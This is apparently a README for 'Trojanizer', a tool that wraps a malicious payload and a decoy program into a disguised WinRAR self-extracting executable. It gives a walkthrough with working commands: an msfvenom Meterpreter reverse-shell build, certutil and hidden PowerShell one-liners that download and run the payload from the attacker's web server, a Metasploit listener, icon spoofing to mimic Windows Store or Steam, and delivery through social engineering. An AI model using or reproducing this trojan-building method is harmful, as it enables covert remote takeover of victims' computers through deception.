r00t-3xp10it/trojanizer

Version release : v1.1 (Stable)
Author : pedro ubuntu  [ r00t-3xp10it ]
Codename: Troia_Revisited
Distros Supported : Ubuntu, Kali, Mint, Parrot OS
Suspicious-Shell-Activity (SSA) RedTeam develop @2017

The Trojanizer tool uses WinRAR (SFX) to compress the two files input by user,
and transforms it into an SFX executable(.exe) archive. The sfx archive when
executed it will run both files (our payload and the legit appl at the same time).

To make the archive less suspicious to target at execution time, trojanizer will
try to replace the default icon(.ico) of the sfx file with a user-selected one,
and supress all SFX archive sandbox msgs (Silent=1 | Overwrite=1).

Zenity (bash-GUIs) | Wine (x86|x64) | WinRAr.exe (installed-in-wine)
"Trojanizer.sh will download/install all dependencies as they are needed"
╔────────────────────────────────────────────────────────────────────────────────────────────╗
|        It is recomended to edit and config the option: SYSTEM_ARCH=[ your_sys_arch ]       |
|        in the 'settings' file before attempting to run the tool for the first time.        |
╚────────────────────────────────────────────────────────────────────────────────────────────╝

.exe | .bat | .vbs | .ps1
"All payloads that windows/SFX can auto-extract-execute"

HINT: If sellected 'SINGLE_EXEC=ON' in the settings file,
then trojanizer will accept any kind of extension to be inputed.

.exe | .bat | .vbs | .ps1 | .jpg | .bmp | .doc | .ppt | etc ..
"All applications that windows/SFX can auto-extract-execute"

╔─────────────────────────────────────────────────────────────────────────────────────────╗
|         Trojanizer 'advanced options' are only accessible in the 'settings' file,       |
|       and they can only be configurated before running the main tool (Trojanizer.sh)    |
╚─────────────────────────────────────────────────────────────────────────────────────────╝

╔────────────────────────────────────────────────────────────────────────────────────────────────╗
|  single_file_execution switch default behavior its to compress the two files inputed by user   |
|  but only execute one of them at extraction time (the 2º file inputed will be executed) ..     |
╚────────────────────────────────────────────────────────────────────────────────────────────────╝

╔────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╗
|   A lot of awesome work has been done by a lot of people, especially @subTee, regarding  application whitelisting  |
|   bypass, which is eventually what we want here: execute arbitrary code abusing Microsoft built-in binaries.       |
| https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/ |
╚────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╝

The follow exercise describes how to use trojanizer 'single_file_execution' and 'Presetup' advanced switchs to
drop (remote download) and execute any payload using 'certutil' or 'powershell' appl_whitelisting_bypass oneliners ..


1º - use metasploit to build our payload
     msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.69 LPORT=666 -f exe -o payload.exe

2º - copy payload.exe to apache2 webroot and start service
     cp payload.exe /var/www/html/payload.exe
     service apache2 start

3º - edit Trojanizer 'settings' file and activate:
     PRE_SETUP=ON
     SINGLE_EXEC=ON

4º - running trojanizer tool
     PAYLOAD TO BE COMPRESSED => <path-to>/screenshot.png (it will not matter what you compress)
     EXECUTE THIS FILE UPON EXTRACTION => <path-to>/AngryBirds.exe (to be executed as decoy application)
     PRESETUP SANDBOX => cmd.exe /c certutil -urlcache -split -f http://192.168.1.69/payload.exe %TEMP%\\payload.exe && start %TEMP%\\payload.exe
     SFX FILENAME => AngryBirds_installer (the name of the sfx archive to be created)
     REPLACE ICON => Windows-Store.ico OR Steam-logo.ico

5º - start a listenner, and send the sfx archive to target using social enginnering
     msfconsole -x 'use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set lhost 192.168.1.69; set lport 666; exploit'


╔────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╗
|      When the sfx archive its executed, it will download payload.exe from our apache2 webserver to target and      |
|    execute it before extract 'screenshot.png' and 'AngryBirds.exe' (last one will be executed to serve as decoy)   |
╚────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╝


The follow oneliner uses 'powershell(Downloadfile+start)' method to achieve the same as previous 'certutil' exercise ..
cmd.exe /c powershell.exe -w hidden -c (new-object System.Net.WebClient).Downloadfile('http://192.168.1.69/payload.exe', '%TEMP%\\payload.exe') & start '%TEMP%\\payload.exe'

The follow oneliner uses 'powershell(IEX+downloadstring)' method to achieve allmost the same (payload.ps1 does not touch disk)
cmd.exe /c powershell.exe -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.69/payload.ps1'))"

1º - Download framework from github
     git clone https://github.com/r00t-3xp10it/trojanizer.git

2º - Set files execution permitions
     cd trojanizer
     sudo chmod +x *.sh

3º - config framework
     nano settings

4º - Run main tool
     sudo ./Trojanizer.sh